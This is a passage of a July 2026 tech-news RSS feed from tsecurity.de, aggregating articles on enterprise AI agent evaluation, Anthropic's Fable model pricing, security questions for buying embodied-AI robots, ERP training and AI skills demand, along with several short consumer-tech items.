Silverthorn said, is about measurement, not just models. "The models have to be better. Obviously, we're working hard on making the models better," he said. But the deeper takeaway, he added, is that teams need to identify their dimensions of variability and match measurement rigor to the stakes of the application. VentureBeat's own proprietary research, presented before the session, reinforces the point: half of surveyed companies shipped agents that passed internal evals but failed real customers, and enterprises overwhelmingly track uptime while ignoring accuracy — checking the pulse without checking the diagnosis. A related finding underscored how few guardrails exist: most enterprises default to the model makers' own evaluations and little else, leaving their testing strategy, as I described it on stage, a coin flip between trusting the vendor and trusting nothing.</p><h2><b>Inside Amazon's 'intern' framework for managing autonomous AI agents</b></h2><p>Silverthorn's most memorable prescription was cultural, not technical. Inside Amazon's AGI lab, researchers literally call their agents "interns" — as in, "I'll have my intern talk to your intern." The joke carries a serious operational philosophy. Agents, like interns, are powerful but occasionally clueless, capable of amazing work and spectacular derailment.</p><p>Managing them, he argued, requires management skills rather than software skills: asking what could go wrong, adding backups and undo capabilities, and consciously deciding what risk you can accept. "You can ask the intern, 'Hey, what might you do wrong here? How might you mitigate your negative outcomes?'" he said. Amazon's lab has embraced that trade-off, accepting agents occasionally running the wrong experiment in exchange for research velocity — including one agent running experiments around the clock on its own high-level research plan.</p><h2><b>What enterprise leaders should do before deploying agents at scale</b></h2><p>Silverthorn was candid about the limits of today's technology. Self-improving AI remains "a loaded term," he said — Amazon uses AI to improve its models constantly, but fully autonomous self-improvement is distant. Computer use remains a core focus of his lab, with a commercial trucking customer already using browser automation to stitch together warranty claims across fragmented systems**, though he stressed that no future agent will rely on computer use alone — it will work alongside MCP, APIs, and other tools to complete end-to-end workflows**. And LLM-as-judge techniques, while promising, are just one of several strategies for aligning agent capability with acceptable risk.</p><p>For enterprises stuck in pilot purgatory, the path forward starts with a mindset shift: stop asking whether your agent can do something impressive once, and start asking whether it can do it correctly a thousand times in a row.</p><p>In other words, the enterprises that escape the 85% ceiling won't be the ones with the smartest agents. They'll be the ones with the best managers.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Amazon just cut $300 off the Google Pixel 10 Pro - and I'd recommend buying one]]></title>
<description><![CDATA[Google's Pixel 10 Pro has one of the best camera systems for an Android today. Grab it for $699 right now, one of the best prices we've seen.]]></description>
<link>https://tsecurity.de/de/3674054/it-nachrichten/amazon-just-cut-300-off-the-google-pixel-10-pro-and-id-recommend-buying-one/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674054/it-nachrichten/amazon-just-cut-300-off-the-google-pixel-10-pro-and-id-recommend-buying-one/</guid>
<pubDate>Thu, 16 Jul 2026 18:18:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google's Pixel 10 Pro has one of the best camera systems for an Android today. Grab it for $699 right now, one of the best prices we've seen.]]></content:encoded>
</item>
<item>
<title><![CDATA[Period tracker Stardust shares users’ health data with analytics firm, says Mozilla research]]></title>
<description><![CDATA[One period tracker app tested by Mozilla was 'squeaky clean,' while another app was seen sharing users' health data with an analytics company, underscoring vast differences in user privacy among these apps.]]></description>
<link>https://tsecurity.de/de/3673999/ai-nachrichten/period-tracker-stardust-shares-users-health-data-with-analytics-firm-says-mozilla-research/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673999/ai-nachrichten/period-tracker-stardust-shares-users-health-data-with-analytics-firm-says-mozilla-research/</guid>
<pubDate>Thu, 16 Jul 2026 17:34:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[One period tracker app tested by Mozilla was 'squeaky clean,' while another app was seen sharing users' health data with an analytics company, underscoring vast differences in user privacy among these apps.]]></content:encoded>
</item>
<item>
<title><![CDATA[You've never seen an Aston Martin like this — legendary car maker reveals SUV designed exclusively for Modern Warfare 4]]></title>
<description><![CDATA[Aston Martin has revealed the Dreadnought, a new SUV designed exclusively for Call of Duty: Modern Warfare 4.]]></description>
<link>https://tsecurity.de/de/3673810/it-nachrichten/youve-never-seen-an-aston-martin-like-this-legendary-car-maker-reveals-suv-designed-exclusively-for-modern-warfare-4/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673810/it-nachrichten/youve-never-seen-an-aston-martin-like-this-legendary-car-maker-reveals-suv-designed-exclusively-for-modern-warfare-4/</guid>
<pubDate>Thu, 16 Jul 2026 16:32:53 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Aston Martin has revealed the Dreadnought, a new SUV designed exclusively for Call of Duty: Modern Warfare 4.]]></content:encoded>
</item>
<item>
<title><![CDATA[Hisense XR10 Smart Projector Review: RGB-Powered Wonder]]></title>
<description><![CDATA[Projectors are adopting RGB backlighting, the hottest tech from the world of TVs. This large but vivid projector is a great option for summer movie nights.]]></description>
<link>https://tsecurity.de/de/3673221/it-nachrichten/hisense-xr10-smart-projector-review-rgb-powered-wonder/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673221/it-nachrichten/hisense-xr10-smart-projector-review-rgb-powered-wonder/</guid>
<pubDate>Thu, 16 Jul 2026 13:17:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Projectors are adopting RGB backlighting, the hottest tech from the world of TVs. This large but vivid projector is a great option for summer movie nights.]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic’s ‘free’ Fable offer — a token lock-in trap for users?]]></title>
<description><![CDATA[It’s not so much generosity that’s behind Anthropic’s decision to extend free access to its most advanced model, Fable, for paid subscribers until July 19, analysts say. Its a last-minute move to grab users, data and model evaluation results.



After the free-access period, Anthropic plans to co...]]></description>
<link>https://tsecurity.de/de/3673105/ai-nachrichten/anthropics-free-fable-offer-a-token-lock-in-trap-for-users/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673105/ai-nachrichten/anthropics-free-fable-offer-a-token-lock-in-trap-for-users/</guid>
<pubDate>Thu, 16 Jul 2026 12:32:48 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">It’s not so much generosity that’s behind Anthropic’s decision to extend free access to its most advanced model, Fable, for paid subscribers until July 19, analysts say. Its a last-minute move to grab users, data and model evaluation results.</p>



<p class="wp-block-paragraph">After the free-access period, Anthropic plans to convert Fable to a pay-per-use model, at $10 per million input tokens and a whopping $50 for 1 million output tokens.</p>



<p class="wp-block-paragraph">That is double the price of its next most advanced model, Opus 4.8, for input and output tokens. “We’re extending Claude Fable 5 access on all paid plans, as well as keeping Claude Code’s weekly rate limits 50% higher, through July 19,” <a href="https://x.com/claudeai/status/2076351399999557669" target="_blank" rel="noreferrer noopener">Anthropic’s team said in a July 12 tweet</a>.</p>



<p class="wp-block-paragraph">Anthropic keeps extending Fable because it does not yet know what its flagship is worth, said Sanchit Vir Gogia, principal analyst at Greyhound Research. “A vendor confident in its price does not move the same cutoff twice in six days, both times at the wire,” Gogia said.</p>



<p class="wp-block-paragraph">Anthropic is essentially pushing deadlines to test its products, while users gain by being able to put their toughest tasks to Fable, Gogia said.</p>



<p class="wp-block-paragraph">Anthropic, which did not immediately reply to a request for comment about the situation, has already seen plenty of action with Fable and its sister model Mythos. Both have been touted as the company’s most advanced models yet.</p>



<h2 class="wp-block-heading">Fable stumbles, then reappears</h2>



<p class="wp-block-paragraph">Fable was officially launched June 9. Just three days later, on June 12, the <a href="https://www.computerworld.com/article/4185515/anthropics-new-privacy-policy-offers-us-consumers-a-way-around-fable-ban-2.html">US government put export controls on it</a> after Amazon researchers bypassed Fable’s safeguards, prompting the model to identify software vulnerabilities and demonstrate an exploit. </p>



<p class="wp-block-paragraph">After Anthropic scrambled to address the issues — and <a href="https://www.computerworld.com/article/4191565/us-reverses-export-restrictions-on-anthropics-fable-5-mythos-5-ai-models-2.html">after the export controls were lifted</a> — Fable was relaunched July 1.</p>



<p class="wp-block-paragraph">Fable’s freebie extension comes after OpenAI’s latest model, ChatGPT 5.6 Sol, became generally available July 9. Sol is cheaper at $5 per one million tokens input, and $30 for 1 million output tokens.</p>



<p class="wp-block-paragraph">Anthropic and OpenAI are competing aggressively to build market share, said Jack Gold, principal analyst at J. Gold Associates. “Anthropic and OpenAI are looking to go public and the more users they have, the more attractive it is — even if they are not yet producing income,” he said.</p>



<p class="wp-block-paragraph">In some ways, the two companies are following a well-trodden path to get customers hooked on their products and turned into paying customers. That’s what Meta, Google and Microsoft, for instance, have done over the years with various “free” offers that later morphed into paid products. </p>



<p class="wp-block-paragraph">Plus, said Gold, ”The more users you have, the better you can train your models across multiple data sets.”</p>



<p class="wp-block-paragraph">That’s a potential boon for proprietary large language model (LLM) vendors offering free tokens in a bid to lock enterprises and vendors into their AI environments. But numerous experts have warned enterprises not to fall for that tactic. Instead, they argue enterprises <a href="https://www.computerworld.com/article/4188012/too-good-to-be-true-avoid-free-ai-token-offers-or-risk-vendor-lock-in.html">should diversify AI development across multiple AI and cloud vendors</a>, and adopt open-source models.</p>



<h2 class="wp-block-heading">An LLM space race?</h2>



<p class="wp-block-paragraph">According to <a href="https://artificialanalysis.ai/leaderboards/models" target="_blank" rel="noreferrer noopener">LLM benchmarks maintained by Artificial Analysis</a>, Fable is the most intelligent model currently available, with Sol just behind it in second place. <a href="https://livebench.ai/#/" target="_blank" rel="noreferrer noopener">One benchmark by LiveBench</a> places Sol as being better in reasoning, with Fable better at math, data analysis, instruction following and language. Both models have advantages in coding.</p>



<p class="wp-block-paragraph">Meanwhile, Cursor and SpaceXAI on July 8 <a href="https://www.computerworld.com/article/4194914/spacexai-launches-grok-4-5-touts-lower-coding-task-costs-than-ai-rivals-2.html">unveiled Grok 4.5</a>, which the companies said can “handle difficult, long-running tasks that require creatively using tools to solve problems, whether in software engineering, data science, finance, legal work, or anything else you do on a computer,” <a href="https://cursor.com/blog/grok-4-5" target="_blank" rel="noreferrer noopener">the company said in a blog entry</a>.</p>



<p class="wp-block-paragraph">Its pricing is even more aggressive than Fable and ChatGPT 5.6 Sol. Grok 4.5 charges $2 for 1 million input tokens and $6 for 1 million output tokens.</p>



<p class="wp-block-paragraph">There are <a href="https://www.computerworld.com/article/4185848/how-companies-are-racing-to-solve-the-ai-token-problem.html">growing concerns about tokenmaxxing</a>, where enterprises rack up billions of dollars in token spending, blowing past usage limits before finance controls are implemented.</p>



<p class="wp-block-paragraph">Enterprises might decide to spend more on models such as Mythos and Fable — if the benefits are tangible, said Max Leaming, head of data science and AI solutions at ManpowerGroup. Fable and Mythos may “actually be less expensive to use in spite of the spiked token cost because it’s far more efficient,” he said.</p>



<p class="wp-block-paragraph">A company might find that the models use fewer tokens, are faster, and can reduce compute time, he said. “Even though the per-token costs may go up, we may see overall costs go down,” Leaming said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sony Killing Physical Media? We've Been Here Before | CNET Archive video]]></title>
<description><![CDATA[Sony announced the bold move to stop manufacturing physical discs for its Playstation console by 2028, sparking controversy from consumers. But have we seen this before with other mediums? We take a look into the CNET Archives to spot how Netflix changed how we watch movies, how online gaming gre...]]></description>
<link>https://tsecurity.de/de/3673075/it-nachrichten/sony-killing-physical-media-weve-been-here-before-cnet-archive-video/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673075/it-nachrichten/sony-killing-physical-media-weve-been-here-before-cnet-archive-video/</guid>
<pubDate>Thu, 16 Jul 2026 12:17:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sony announced the bold move to stop manufacturing physical discs for its Playstation console by 2028, sparking controversy from consumers. But have we seen this before with other mediums? We take a look into the CNET Archives to spot how Netflix changed how we watch movies, how online gaming grew up, and how the PS3 was the last great backward compatible Sony console.]]></content:encoded>
</item>
<item>
<title><![CDATA[When AI gets a body, it inherits an attack surface]]></title>
<description><![CDATA[Most security leaders I know working on AI robotics are being shown the same kind of video. A humanoid folds a shirt, sorts a bin, walks a warehouse aisle and a vendor uses the clip to move an embodied AI system from pitch to purchase order. Someone then has to sign off. Robot demos create procur...]]></description>
<link>https://tsecurity.de/de/3673042/it-security-nachrichten/when-ai-gets-a-body-it-inherits-an-attack-surface/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673042/it-security-nachrichten/when-ai-gets-a-body-it-inherits-an-attack-surface/</guid>
<pubDate>Thu, 16 Jul 2026 12:09:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Most security leaders I know working on AI robotics are being shown the same kind of video. A humanoid folds a shirt, sorts a bin, walks a warehouse aisle and a vendor uses the clip to move an embodied AI system from pitch to purchase order. Someone then has to sign off. Robot demos create procurement momentum before security teams receive the artifacts needed to evaluate the system as cyber-physical infrastructure.</p>



<p class="wp-block-paragraph">Before the book, I prepared cloud infrastructure operating in China and the United States for cybersecurity compliance audits and for the Multi-Level Protection Scheme, China’s mandatory security-grading regime that determines whether a system is allowed to operate. That work taught me a lesson I carry into every AI conversation now. You cannot secure what you cannot see into, and the buyer rarely sees in. A demo makes it worse. It shows one task, completed once, under conditions the vendor chose. None of what a security team must evaluate is on screen.</p>



<p class="wp-block-paragraph">This used to be a research-lab problem. It is now a procurement line item. The risk changed when embodied AI moved from a research demo to a purchase order.  Vendors are asking security teams to approve embodied AI before the category has audit evidence, logging norms, supplier transparency or a shared-responsibility model.</p>



<p class="wp-block-paragraph">Embodied AI puts a model inside a machine that operates in the physical world: a robot, an arm, a humanoid. Once a model gains motors, sensors and a body, it ceases to be a software endpoint and becomes a cyber-physical system. It inherits hardware, firmware, a supply chain, an installer and a set of remote-access paths. Every one of those is an attack surface that the demo video doesn’t show. An embodied system is sold like software and behaves like a fleet of networked machinery on your floor.</p>



<p class="wp-block-paragraph">Evaluate these systems across five questions: provenance, access, integrity, evidence and accountability. Here is what each means.</p>



<h2 class="wp-block-heading">Evaluation question #1: Provenance</h2>



<p class="wp-block-paragraph">What is inside, and who controls it? A humanoid is an assembly of actuators, lidar units, battery packs, joint modules and controllers, most from a supply chain the buyer never vetted, each running firmware the buyer cannot read. Software teams already fought this fight, which is why the <a href="https://www.csoonline.com/article/573185/what-is-an-sbom-software-bill-of-materials-explained.html">software bill of materials</a> became standard practice. Lack of transparency creates systemic risk. Embodied systems raise the stakes because the firmware now lives in dozens of parts that move. The risk does not depend on whether the robot is Chinese, American, German or Japanese. It depends on how much of the system the buyer can see: the hardware, firmware, remote-access paths and maintenance relationships behind it.  China installs more industrial robots than any other country and sits near the center of the battery supply chain, as well as parts of the lidar and machine-vision supply base, which these systems draw on. Lidar, short for Light Detection and Ranging, uses pulsed laser beams to map an environment in 3D; machine vision handles optical inspection and guidance. Much of that lineage traces to suppliers your team has no relationship with. This is the hardware and firmware version of the third-party risk <a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-161r1.pdf">NIST’s supply chain guidance</a> was written for, except that the component has motors. Demand a hardware and firmware bill of materials, then use it. Flag unsigned firmware. Map which supplier holds update authority for each part. Require a way to verify integrity, and treat any component you cannot identify as unmanaged.</p>



<h2 class="wp-block-heading">Evaluation question #2: Access</h2>



<p class="wp-block-paragraph">Who can reach the fleet? Someone installs these machines, someone services them and the vendor pushes software updates.  Where teleoperation is part of the support model, treat it as a privileged remote-access path, not a convenience feature.  Each is a standing path into a machine that moves and lifts. Security teams have seen this story before. Operational Technology (OT) security went mainstream once industrial systems joined IT networks, and the recurring failure is unmanaged remote access that nobody inventoried. According to one industry survey, <a href="https://www.csoonline.com/article/3595787/ot-security-becoming-a-mainstream-concern.html">roughly half of attacks on OT assets originate in an IT network breach</a>. <a href="https://www.cisa.gov/news-events/alerts/2021/01/07/supply-chain-compromise">SolarWinds</a> showed why a trusted update channel deserves scrutiny when one delivered a backdoor to thousands of networks. Embodied systems add the harder part. The compromised endpoint can move. A remote operator on that channel can drive a machine and push code to every unit at once. Treat the fleet like high-value OT. Inventory every remote path, segment it from the production network, default to deny, require signed and verified updates, apply privileged-access controls to vendor maintenance, and treat an always-on teleoperation link as a backdoor until it is governed.</p>



<h2 class="wp-block-heading">Evaluation question #3: Integrity</h2>



<p class="wp-block-paragraph">Whether the machine can be made to misperceive or misbehave. Researchers have shown that <a href="https://www.usenix.org/conference/usenixsecurity20/presentation/sun">lidar spoofing</a> can cause an autonomous system to brake for an obstacle that is not there or miss one that is. The same class of sensor and model manipulation, on a humanoid sharing a floor with people, produces motion, not a wrong answer on a screen. This is where safety engineering and security part ways. Functional safety stops hazardous motion when a component fails. It plans for accidents. Security plans for an adversary. A hardwired safety circuit can stay independent of the control plane, and a good one does. What it does not tell you is how an attacker reached that control plane, altered the model’s inputs or seized the fleet-management path. Ask the vendor to threat-model sensor spoofing and model manipulation as a path to physical motion. Then ask how you will even know it happened. A spoofed sensor does not announce itself. It shows up as a machine acting incorrectly with confidence.</p>



<p class="wp-block-paragraph">Picture the failure in plain terms. A warehouse robot takes a routine vendor update that changes how it navigates. The buyer cannot verify the firmware, cannot identify the supplier of the sensor module and has no logs to distinguish a spoofed sensor from a model error. The machine keeps moving, and no one can say why.</p>



<h2 class="wp-block-heading">Evaluation question #4: Evidence</h2>



<p class="wp-block-paragraph">Whether the claims are true. You have not found an independent audit of embodied-AI field performance, so the uptime and reliability numbers come from the vendor. You are buying a claim, not a track record. Require independently verified uptime, intervention rate and incident history from a named deployment you can call. “Cutting-edge” is not a control.</p>



<h2 class="wp-block-heading">Evaluation question #5: Accountability</h2>



<p class="wp-block-paragraph">Who owns the risk when it fails? Cloud taught security teams shared responsibility the hard way, after years of arguing which side of the line a breach fell on. Embodied AI arrives without that model, and the stakes are physical: the machine can injure someone. In my compliance work, the question that decided everything was always who is accountable when this thing breaks. Put it in the contract. Define the responsibility boundary, an incident-disclosure timeline, a right to audit and liability for physical harm. A vendor who will not commit in writing is showing you who bears the risk.</p>



<p class="wp-block-paragraph">These five questions share one root. For a decade, the security question was whether you could trust what a model generates. The embodied question is who can reach the machine and what they can make it do. A demo answers neither.</p>



<p class="wp-block-paragraph">Before any embodied system reaches your floor, make these five demands of the vendor.</p>



<ul class="wp-block-list">
<li><strong>Provenance. </strong>A hardware and firmware bill of materials with named suppliers, integrity verification and a vulnerability-disclosure record. No bill of materials, no deal.</li>



<li><strong>Access. </strong>A full map of who installs, who services and every update and teleoperation path, with segmentation, default-deny and signed updates required.</li>



<li><strong>Integrity. </strong>A threat model for sensor spoofing and model manipulation that treats the failure as physical motion, plus logging that a defender can use.</li>



<li><strong>Evidence. </strong>Independently verified uptime, intervention and incident history from a named deployment you can call.</li>



<li><strong>Accountability. </strong>A contract that defines the responsibility boundary, incident-disclosure timelines, audit rights and liability for physical harm.</li>
</ul>



<p class="wp-block-paragraph">The robot demo is built to make you feel the future has arrived. My job, and now yours, is the unglamorous question behind it. Ask what the machine’s attack surface looks like once it is bolted to your floor, wired to your network and updated by someone you have never met.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why your ERP training program is failing your employees]]></title>
<description><![CDATA[I have sat in a lot of ERP training sessions over the years. Some were excellent. Most were not. And the ones that failed share a pattern I have come to recognize almost immediately: a vendor trainer at the front of the room, working through the same slide deck they use for every client, at the s...]]></description>
<link>https://tsecurity.de/de/3673041/it-security-nachrichten/why-your-erp-training-program-is-failing-your-employees/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673041/it-security-nachrichten/why-your-erp-training-program-is-failing-your-employees/</guid>
<pubDate>Thu, 16 Jul 2026 12:09:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I have sat in a lot of ERP training sessions over the years. Some were excellent. Most were not. And the ones that failed share a pattern I have come to recognize almost immediately: a vendor trainer at the front of the room, working through the same slide deck they use for every client, at the same pace, with the same examples, regardless of who is sitting in the chairs.</p>



<p class="wp-block-paragraph">In one room, you might have a warehouse supervisor who has never used enterprise software, a finance manager with 20 years of system experience and a department coordinator somewhere in between. The vendor trainer covers the same material with all of them. Everyone gets a certificate at the end. Almost nobody is prepared to do their job in the new system when go-live arrives.</p>



<p class="wp-block-paragraph">I want to be clear about something before I go further. In my previous CIO article, I wrote about why organizations should <a href="https://www.cio.com/article/4181808/stop-blaming-your-erp-vendor.html">stop blaming their ERP vendor when implementations fail</a>. That argument still stands. But the training problem is a choice the organization makes. <a href="https://ecosire.com/blog/erp-user-training-best-practices-guide">Most organizations spend less than 5% of their total ERP project budget on training</a> and then hand that underfunded responsibility to the vendor. The vendor delivers what they were contracted to deliver. The gap between what got delivered and what the organization actually needed is not the vendor’s fault. It is a decision the organization made, often without fully understanding its consequences.</p>



<p class="wp-block-paragraph">After 25 years of leading enterprise software implementations and based on the doctoral research I conducted studying ERP implementations in small businesses, I am convinced that the organizations that get training right share one thing in common: they build the expertise internally rather than importing it.</p>



<h2 class="wp-block-heading">Why vendor training falls short</h2>



<p class="wp-block-paragraph">Vendor trainers know the software. That is not in question. What they do not know is your business: your processes, your workflows, your data, your terminology, your culture and the specific ways your organization will use the system once it is live.</p>



<p class="wp-block-paragraph">That gap matters more than most organizations realize. <a href="https://www.prosci.com/blog/why-do-erp-implementations-fail">Research consistently shows that inadequate training is one of the primary drivers of ERP implementation failure</a>, not because training did not happen, but because the training that happened did not connect the system to the work. Employees left those sessions knowing what buttons to click without understanding why those buttons mattered to their specific job.</p>



<p class="wp-block-paragraph">Generic training has a structural problem: it is optimized for coverage, not relevance. The goal is to ensure every employee has seen every feature. The result is that employees spend significant time learning functionality that does not apply to their role, while the functionality that does apply gets the same shallow treatment as everything else.</p>



<p class="wp-block-paragraph">A finance manager sitting through a session on shop floor production tracking is not learning anything she will use. A warehouse supervisor learning about financial journal entries is in the same position. Both leave the session technically trained. Neither leaves prepared.</p>



<p class="wp-block-paragraph">There is also a timing problem. Vendor training typically happens in a compressed window before go-live, delivered as a series of sessions rather than a progression. Research on learning retention suggests that training delivered weeks before it is needed, without reinforcement or practice, is largely forgotten by the time employees need to apply it. The result is a go-live day where everyone attended training and almost nobody feels ready.</p>



<h2 class="wp-block-heading">What internal expertise looks like in practice</h2>



<p class="wp-block-paragraph">In my doctoral research, I interviewed six IT managers from small businesses who had each led successful ERP implementations. Five of the six identified role-based, department-specific training as essential to their outcome. What distinguished their approach was not that they spent more on training. It was that they built the training capability inside the organization rather than contracting it out.</p>



<p class="wp-block-paragraph">The approach that worked most consistently was identifying one person from each affected department early in the implementation, before configuration even began. That person became the departmental expert: involved in design decisions, consulted on how their team’s processes mapped to the new system and ultimately responsible for either delivering training to their colleagues or co-leading it alongside a formal trainer.</p>



<p class="wp-block-paragraph">This is sometimes called a super user model, and the research supports its effectiveness. But what I observed in the implementations that worked goes beyond the mechanics of the model. The departmental expert brought something a vendor trainer cannot: credibility. When the warehouse supervisor learns the receiving process from someone who has worked in that warehouse, who understands the exceptions and the edge cases and the way things truly flow on a busy day, the training resonates in a way that a generic session never can.</p>



<p class="wp-block-paragraph">There is also an ownership dimension that is easy to underestimate. <a href="https://www.workday.com/en-us/perspectives/hr/erp-training-tips-best-practices.html">Peer-based training led by internal super users helps employees connect system steps to their daily responsibilities</a> in ways that outsider-led training rarely achieves. The departmental expert has skin in the game. They are going to use this system too. That shared stake changes the dynamic in the training room and sustains the support relationship long after the formal training is over.</p>



<p class="wp-block-paragraph">I have seen this play out in both directions. In implementations where the organization invested in building internal expertise early, go-live day was hard but manageable. Questions went to the departmental expert, who could answer them in the language of the department. Issues surfaced quickly because someone in each area was watching for them. Adoption stabilized faster because the support was embedded in the team rather than accessible only through a help desk ticket.</p>



<p class="wp-block-paragraph">In implementations where training was handed entirely to the vendor, the pattern was different. Go-live revealed gaps that training had not covered. The vendor’s support engagement was winding down. The organization had no internal expertise to draw on. Employees reverted to workarounds. The system went live but never fully took hold.</p>



<h2 class="wp-block-heading">How to build internal training capability before go-live</h2>



<p class="wp-block-paragraph">The organizations that got this right did not wait until the training phase to think about training. They started building internal expertise at the beginning of the project. Here is what that looked like in practice.</p>



<h3 class="wp-block-heading">Identify departmental experts early</h3>



<p class="wp-block-paragraph">Select one person from each affected department before configuration begins. Choose people who are respected by their colleagues, have a solid understanding of their department’s processes and are willing to invest extra time in the project. This is not a small ask. Make sure they and their managers understand the commitment and that the contribution is recognized.</p>



<h3 class="wp-block-heading">Involve them in the implementation, not just the training</h3>



<p class="wp-block-paragraph">The departmental expert should participate in process design sessions, configuration reviews and user acceptance testing. By the time training begins, they should understand the system deeply enough to explain not just how it works but why specific decisions were made. That context is what makes internal training credible.</p>



<h3 class="wp-block-heading">Design training around the job, not the system</h3>



<p class="wp-block-paragraph">Training content should be organized around realistic work scenarios specific to each department, not around the system’s feature set. The finance team trains on how to process their transactions in the new system. The warehouse team trains on how to manage their receipts and inventory. Connect every step to the work employees actually do.</p>



<h3 class="wp-block-heading">Plan for post-go-live support, not just pre-go-live training</h3>



<p class="wp-block-paragraph">The weeks immediately after go-live are when training becomes real and when the gaps in pre-go-live preparation surface. The departmental expert should have a defined support role in that period: available to their colleagues, connected to the project team and empowered to escalate issues that need resolution. This is not a minor detail. It is where the investment in internal expertise pays its most important dividends.</p>



<p class="wp-block-paragraph">None of this requires a large budget or a dedicated training function. It requires early decisions about who will own the training relationship inside each department and the organizational commitment to support those people through the implementation, rather than treating training as a final phase activity.</p>



<p class="wp-block-paragraph">The vendor knows the software. That knowledge is valuable and should not be wasted. But your people know your business, your processes and the way work flows on any given day. The question is not whether to use your vendor’s expertise. It is whether you are also building the internal expertise that turns a trained workforce into a prepared one. The organization that does both will not just go live. It will thrive.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[IT leaders prioritize addressing AI skill concerns]]></title>
<description><![CDATA[Recent data from the CompTIA Tech Jobs Report shows that tech jobs have seen a drop in unemployment, down to 3.1% in May from 3.5% in April, accounting for an increase of around 6,700 in May. Roles that saw the highest demand include software developers and engineers, systems engineers and archit...]]></description>
<link>https://tsecurity.de/de/3672916/it-nachrichten/it-leaders-prioritize-addressing-ai-skill-concerns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672916/it-nachrichten/it-leaders-prioritize-addressing-ai-skill-concerns/</guid>
<pubDate>Thu, 16 Jul 2026 11:18:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Recent data from the <a href="https://www.comptia.org/en-us/resources/research/tech-jobs-report/">CompTIA Tech Jobs Report</a> shows that tech jobs have seen a drop in unemployment, down to 3.1% in May from 3.5% in April, accounting for an increase of around 6,700 in May. Roles that saw the highest demand include software developers and engineers, systems engineers and architects, tech support specialists, cybersecurity engineers and analysts, and AI engineers.</p>



<p class="wp-block-paragraph">And according to projections form the <a href="https://www.bls.gov/opub/mlr/2026/article/industry-and-occupational-employment-projections-overview.htm">U.S. Bureau of Labor Statistics</a>, the tech workforce is anticipated to grow twice as fast as the overall US workforce, with an expected replacement rate of 6% annually, or approximately 323,000 workers, for tech occupations between 2024 and 2034.</p>



<p class="wp-block-paragraph">“More than ever, business success relies on technology,” said Seth Robinson, VP of  industry research at CompTIA. “Our research has shown a desire to build capability in core operational functions, which then allows companies to build advanced practices in AI, data, and cybersecurity.”Further data, this time from the <a href="https://www.comptia.org/en-us/resources/research/state-of-the-tech-workforce-2026/">CompTIA Sate of the Tech Workforce 2026</a> report, shows that 83% of IT leaders and HR professionals say their organizations are placing a high or moderately high priority on addressing skill concerns, and 62% say they expect the budget for AI training to increase in the next year. Organizations also seem to recognize the impact that skills development can have on employees, with 83% saying they expect these investments to have a high or moderate degree of impact on employee morale and engagement.</p>



<h2 class="wp-block-heading">Cause and effect</h2>



<p class="wp-block-paragraph">There are two main factors driving the skills gap and pushing IT leaders to invest in training programs: AI accelerating technological change, and a shortage of AI skilled professionals in the hiring market. However, while AI is a main driver in the skills gap, 48% of IT leaders also say AI is crowding out other important needs, including a much-needed shift to skills-based hiring methodologies.</p>



<p class="wp-block-paragraph">IT leaders are looking to build training programs that specifically address AI basics, data analysis, AI threat awareness, automation, data preparation, securing AI systems, building inputs and prompts, and creating AI agents. Currently IT leaders cite cost of training, training fatigue, turnover, lack of executive support, difficulty measuring ROI, and stale training curriculum as some of the biggest challenges when developing training programs, according to CompTIA.</p>



